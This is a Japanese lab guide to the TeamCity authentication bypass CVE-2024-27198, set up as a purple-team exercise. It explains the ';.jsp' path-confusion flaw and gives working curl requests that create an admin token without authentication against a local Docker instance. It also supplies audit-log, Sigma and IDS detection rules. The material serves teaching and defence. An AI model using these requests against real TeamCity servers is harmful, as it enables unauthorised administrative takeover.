
TeamCity には、認証で保護されていない管理者専用のトークン管理ページがあります。これにより、認証されていないユーザーは、既存ユーザーの ID を見つけられれば、管理者ユーザーのアクセストークンを生成できます。
この脆弱性は REST API のルーティング機構にあります。認証されていないエンドポイントに特定の文字(?jsp=/app/rest/...;.jsp など)を追加することで、攻撃者はセキュリティフィルタを回避しながら、TeamCity Web サーバーをだまして認証済みエンドポイントにリクエストをルーティングさせることができます。これには事前の知識やアクセスが一切不要であり、純粋な CVSS 9.8 となっています。
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
脆弱な TeamCity インスタンスには http://localhost:8111 からアクセスします。 パッチ適用済みの TeamCity インスタンスには http://localhost:8112 からアクセスします。
ユーザー名:
admin
パスワード:
admin
認証なしでリソースへの GET リクエストを送信します:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
両方とも 401 ステータスコードのエラーを返すはずです。
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
次のようなトークンが返されるはずです(トークンは毎回異なります):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
パッチ適用済みインスタンスにはこの脆弱性がないため、401 ステータスコードのエラーが返されるはずです。
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
ユーザーの一覧が返されるはずです。
ラボでのデモ中に、重要なブルーチームの発見を示すことができます: この脆弱性は、デフォルトでは非常にステルスです。
;.jsp を含む HTTP リクエストは記録されません。では、どうやってそれを検知するのでしょうか?攻撃者が痕跡を消したときです! 攻撃者が身を隠すために不正なトークンを削除した場合、TeamCity はそれを記録します。
監査ログで痕跡を消す攻撃者を見つけましょう:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(「REDTEAM」トークンが削除されたことを示すログエントリが表示されます)。
docker compose -f docker-compose.yml down
この脆弱性は、CWE-288: 代替パスまたはチャネルを使用した認証バイパスの事例です。
この欠陥は、Tomcat Web サーバーと TeamCity アプリケーションルーターの間のパス混乱問題に起因します。;.jsp を追加し、ターゲットの REST API エンドポイントを jsp= パラメータに渡すことで、最初のセキュリティフィルタはこのリクエストを公開 .jsp ファイルへの認証不要のリクエスト(許可されている)として解釈します。しかし、内部ルーターは ;.jsp を除去し、認証フィルタを適用せずに制限された /app/rest/ エンドポイントへリクエストを転送します。
正当な使用例(なぜ ; が許可されているのか?):
Tomcat はマトリクスパラメータにセミコロン文字(;)を使用します。歴史的に、このメカニズムは、クッキーが無効な場合にユーザーセッション状態を維持するために JSESSIONID を追加するなど、パス内で直接パラメータを渡すために使用されてきました。この正常で正当な Web サーバーの動作が、TeamCity アプリケーションルーターの不適切な検証と組み合わさり、脆弱性を生み出しています。
進行中または過去の侵害を検知するために、ブルーチームは以下を探す必要があります:
/app/rest/ エンドポイントを標的とし、URI に異常な ;.jsp 文字列を含む HTTP リクエスト。teamcity-server.log): 説明のつかないアクセストークンの生成、または新しい管理者アカウントの作成。初期のエクスプロイトはデフォルトでステルスであるため、ブルーチームは痕跡を消すなどの攻撃後の行動を検知する必要があります。不審なトークン削除を検知するための SIEM 向け Sigma ルールを以下に示します:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
この検知が機能することを証明するには、siem_simulator.py スクリプトを実行します。
docker compose up -d)。python3 siem_simulator.py
ネットワーク上でこの悪用試行を検知するために、SOC は異常な ;.jsp パターンと REST API パスを組み合わせて探す以下の IDS ルールを実装できます:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
緩和策が機能することを証明するには、ポート 8112 で実行されているパッチ適用済み TeamCity コンテナに対して、まったく同じエクスプロイトペイロードを実行できます:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
パッチはルートマッチングを厳格に強制し、マトリクスパラメータを適切にサニタイズするため、バイパスは失敗します。生成されたトークンの代わりに、401 Unauthorized または 404 Not Found 応答が表示されるはずです。